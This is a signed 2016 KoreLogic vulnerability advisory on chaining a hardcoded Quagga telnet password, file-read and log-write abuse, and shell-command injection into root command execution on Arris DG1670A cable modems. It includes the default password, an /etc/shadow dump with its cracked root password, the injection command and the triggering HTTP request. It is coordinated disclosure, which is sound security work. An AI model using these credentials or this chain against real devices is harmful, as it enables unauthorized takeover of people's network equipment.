-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 KL-001-2016-001 : Arris DG1670A Cable Modem Remote Command Execution Title: Arris DG1670A Cable Modem Remote Command Execution Advisory ID: KL-001-2016-001 Publication Date: 2016.02.12 Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2016-001.txt 1. Vulnerability Details Affected Vendor: Arris Affected Product: Cable Modem Affected Version: DG1670A, TG1670 Platform: Embedded Linux CWE Classification: CWE-73: External Control of File Name or Path; CWE-77: Improper Neutralization of Special Elements used in a Command; CWE-522: Insufficiently Protected Credentials Impact: Arbitrary Code Execution Attack vector: Telnet CVE-ID: <Not yet assigned> 2. Vulnerability Description The Arris DG1670A leverages a combination of technologies to deliver the product functionality. Combining several of these technologies in an unanticipated way will allow an attacker to execute arbitrary commands on the underlying operating system as the most privileged user. 3. Technical Description Use the password: JhAkuo18 On August 28, 2015 a user on GitHub by the name of GuerrillaWarfare posted a new repository named Junkyard. The repository had firmware images for popular cable modems. Repository: https://github.com/GuerrillaWarfare/Junkyard Filename: TS0801102P_100714_NA.16XX.GW.ATOM.img Below is the directory content of the squashfs-root directory contained within the image: # ls bin etc gw.fsname include linuxrc nvram sbin share tmp var version dev fss hdisk1 lib mnt proc scripts sys usr var.tar vop The default IP address assigned to Arris modems is 192.168.100.1 and is routable from networks where the modem is attached. Below is a Nmap output of services listening on the default IP address: # sudo nmap -T5 -sU -sT -p- 192.168.100.1 Nmap scan report for 192.168.100.1 Host is up (0.0053s latency). PORT STATE SERVICE VERSION 80/tcp open http lighttpd 443/tcp open ssl/http lighttpd 2602/tcp open ripd? 8080/tcp open http lighttpd A service listening on port 2602 is usually associated with Quagga. Going back to the squashfs-root directory, if we grep through the content of this file system there are several .conf files containing passwords. One of the files containing passwords is zebra.conf, which can be used to authenticate to the Quagga telnet console. # grep -ri "password" *.conf|more etc/default/ripngd.conf:password JhAkuo18 etc/default/zebra.conf:password JhAkuo18 etc/default/ripd.conf:password JhAkuo18 $ telnet 192.168.100.1 2602 Trying 192.168.100.1... Connected to 192.168.100.1. Escape character is '^]'. Hello, this is Quagga (version 0.99.16). Copyright 1996-2005 Kunihiro Ishiguro, et al. User Access Verification Password: PROMPT> Entering a '?' at any point gives context-sensitive help text. There are several layers of 'privilege' though there are no restrictions on elevating on this device. Quagga is an open-source routing daemon commonly found in routers, access points, and modems. In the case described, it has been implemented on a cable modem to facilitate route provisioning from local ISP to the public internet. PROMPT> ? echo Echo a message back to the vty enable Turn on privileged mode command exit Exit current mode and down to previous mode help Description of the interactive help system list Print command list quit Exit current mode and down to previous mode show Show running system information terminal Set terminal line parameters who Display who is on vty PROMPT> enable PROMPT# ? clear Reset functions configure Configuration from vty interface copy Copy configuration debug Debugging functions (see also 'undebug') disable Turn off privileged mode command echo Echo a message back to the vty end End current mode and change to enable mode. exit Exit current mode and down to previous mode help Description of the interactive help system list Print command list logmsg Send a message to enabled logging destinations no Negate a command or set its defaults quit Exit current mode and down to previous mode show Show running system information terminal Set terminal line parameters who Display who is on vty write Write running configuration to memory, network, or terminal PROMPT# configure ? terminal Configuration terminal PROMPT# configure terminal PROMPT(config)# ? access-list Add an access list entry banner Set banner string debug Debugging functions (see also 'undebug') enable Modify enable password parameters end End current mode and change to enable mode. exit Exit current mode and down to previous mode help Description of the interactive help system hostname Set system's network name interface Select an interface to configure ip IP information ipv6 IPv6 information key Authentication key management line Configure a terminal line list Print command list log Logging control no Negate a command or set its defaults password Assign the terminal connection password quit Exit current mode and down to previous mode route-map Create route-map or enter route-map command mode router Enable a routing process service Set up miscellaneous service show Show running system information write Write running configuration to memory, network, or terminal The service message of the day banner can be abused to allow for arbitrary file reading. Also, the logging mechanism can be abused to allow for meaningful writes. The combination of these factors, along with a lack of shell metacharacter filtering, will be used to obtain remote command execution. PROMPT(config)# banner motd file ? file Banner from a file PROMPT(config)# log file ? FILENAME Logging filename PROMPT(config)# exit PROMPT# log notifications ? MESSAGE The message to send Reading arbitrary files: PROMPT(config)# banner motd file /etc/shadow # telnet 192.168.100.1 2602 Trying 192.168.100.1... Connected to 192.168.100.1. Escape character is '^]'. root:$1$xQWhDWOr$FYNAc2DuT2Q45OY7s2R43/:10063:0:99999:7::: User Access Verification Password: This password hash cracks to the word arris. Meaningful file writes: PROMPT# configure terminal PROMPT(config)# banner motd file /var/tmp/kore-log.txt PROMPT(config)# log file /var/tmp/kore-log.txt PROMPT(config)# exit PROMPT# log notifications KORELOGIC # telnet 192.168.100.1 2602 Trying 192.168.100.1... Connected to 192.168.100.1. Escape character is '^]'. 2015/09/10 07:16:50 RIP: KORELOGIC User Access Verification Password: It appears as though we can write to files. Further testing, confirmed that file permissions (and read-only mounted filesystems) heavily restrict the locations where writing is allowed. There are several shell scripts in the web root. # ls -la usr/www/*.sh lrwxrwxrwx 1 root root 18 Sep 5 04:55 usr/www/guioff.sh -> /var/tmp/guioff.sh lrwxrwxrwx 1 root root 17 Sep 5 04:55 usr/www/guion.sh -> /var/tmp/guion.sh # cat var/tmp/guion.sh echo 1 > /nvram/8/guiflag # cat var/tmp/guioff.sh echo 0 > /nvram/8/guiflag The lighttpd.conf file indicates there is a handler defined for shell scripts. #ARRIS CHANGE BEGIN #### CGI module cgi.assign = ( ".pl" => "/usr/bin/perl", ".cgi" => "/usr/bin/perl", ".sh" => "/bin/sh", "/walk" => "/fss/gw/usr/bin/web2snmp", "/snmpSet" => "/fss/gw/usr/bin/web2snmp", "/snmpGet" => "/fss/gw/usr/bin/web2snmp", "/login" => "/fss/gw/usr/bin/web2snmp", "/backup" => "/fss/gw/usr/bin/web2snmp", "/restore" => "/fss/gw/usr/bin/web2snmp", "/hsd" => "/fss/gw/usr/bin/web2snmp", "/setPassword" => "/fss/gw/usr/bin/web2snmp", # UNIHAN ADD START "/storelog" => "/fss/gw/usr/bin/web2snmp", "/checkPassword" => "/fss/gw/usr/bin/web2snmp" # UNIHAN ADD END ) PROMPT# configure terminal PROMPT(config)# log file /var/tmp/guion.sh PROMPT(config)# exit PROMPT# log notifications | `/bin/busybox uname -a >> /var/tmp/shell.txt 2>&1` PROMPT# configure terminal PROMPT(config)# banner motd file /var/tmp/shell.txt Followed by a GET request: GET /guion.sh HTTP/1.1 Host: 192.168.100.1:8080 User-Agent: Mozilla/5.0 Accept: text/plain, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 X-Requested-With: XMLHttpRequest Connection: close And response: HTTP/1.1 200 OK Content-Length: 0 Date: Wed, 09 Sep 2015 20:28:55 GMT Server: lighttpd Now we telnet: $ telnet 192.168.100.1 2602 Trying 192.168.100.1... Connected to 192.168.100.1. Escape character is '^]'. Linux ARRISGW 2.6.39.3 #1 PREEMPT Thu Nov 6 14:56:21 EST 2014 armv6b GNU/Linux User Access Verification Password: Note that the current upstream version of Quagga does not appear to be affected (tested against Quagga 0.99.24.1). First, the daemon runs with dropped privileges for operations like reading the motd file or writing logs. So, 'banner motd' cannot read a root-only file such as /etc/shadow, and 'log file /root/.ssh/authorized_keys' (for example) cannot write to a root-only file. Furthermore, in the scenario outlined here, triggering the shell commands written to the logfile required an additional moving part - the lighttpd server - which is not included in a Quagga install. 4. Mitigation and Remediation Recommendation The vendor has issued a patch for this vulnerability. KoreLogic wishes to thank Arris for their cooperation and attention to this issue. 5. Credit This vulnerability was discovered by Matt Bergin (@thatguylevel) and Hank Leininger of KoreLogic, Inc. 6. Disclosure Timeline 2015.09.21 - KoreLogic sends vulnerability report and PoC to Arris. 2015.09.21 - Arris acknowledges receipt of vulnerability report. 2015.09.30 - Arris contacts KoreLogic to obtain additional details. 2015.10.08 - Arris updates KoreLogic indicating they are working on a fix. 2015.10.21 - Arris contacts KoreLogic to discuss the patch timeline. 2015.11.23 - Arris contacts KoreLogic to discuss the patch timeline. 2015.12.07 - KoreLogic requests CVE from Mitre. 2016.01.28 - KoreLogic contacts Arris to ensure patch is ready for release. 2016.01.29 - KoreLogic requests CVE from Mitre. 2016.02.08 - KoreLogic requests CVE from Mitre. 2016.02.12 - Arris informs KoreLogic that the patch has been released to subscribers. 2016.02.12 - Coordinated Public Disclosure. 7. Proof of Concept N/A The contents of this advisory are copyright(c) 2016 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/ KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html Our public vulnerability disclosure policy is available at: https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt -----BEGIN PGP SIGNATURE----- Version: GnuPG v2 iQEcBAEBCAAGBQJWvjskAAoJEE1lmiwOGYkMYLYH/R7BnCwuDtpF0Bg7zTt18XoR DPfZoJxU9JOFHSzVxu0tyPiicGAcm/IpWKiaJSDaxLds4GCtERLnKpcqg84iEtdT zm3/2eL0RVajzY1FtZvssga90cbzoER8EykWNxbKjzpsccYhXpcXW+ahQB63ZWR3 gEJNJdQ/KBTUqh1prm1MXHzaQupZecL5kDuFEOrFAMZXCrU+27HPhklh0/IOdxH8 KpBCSRdWxIt9QNP33NDhs8c6z2D6VVKFYkL5PL3OSYduHbB2Mn8kQbhFNnhfGzLY xqrtkPwzK4jGu6xpiBKdpZQ19bCp/5DiSjr8L4ISCMfgKD4gmAcjmrWfw7QGpXI= =8qN6 -----END PGP SIGNATURE-----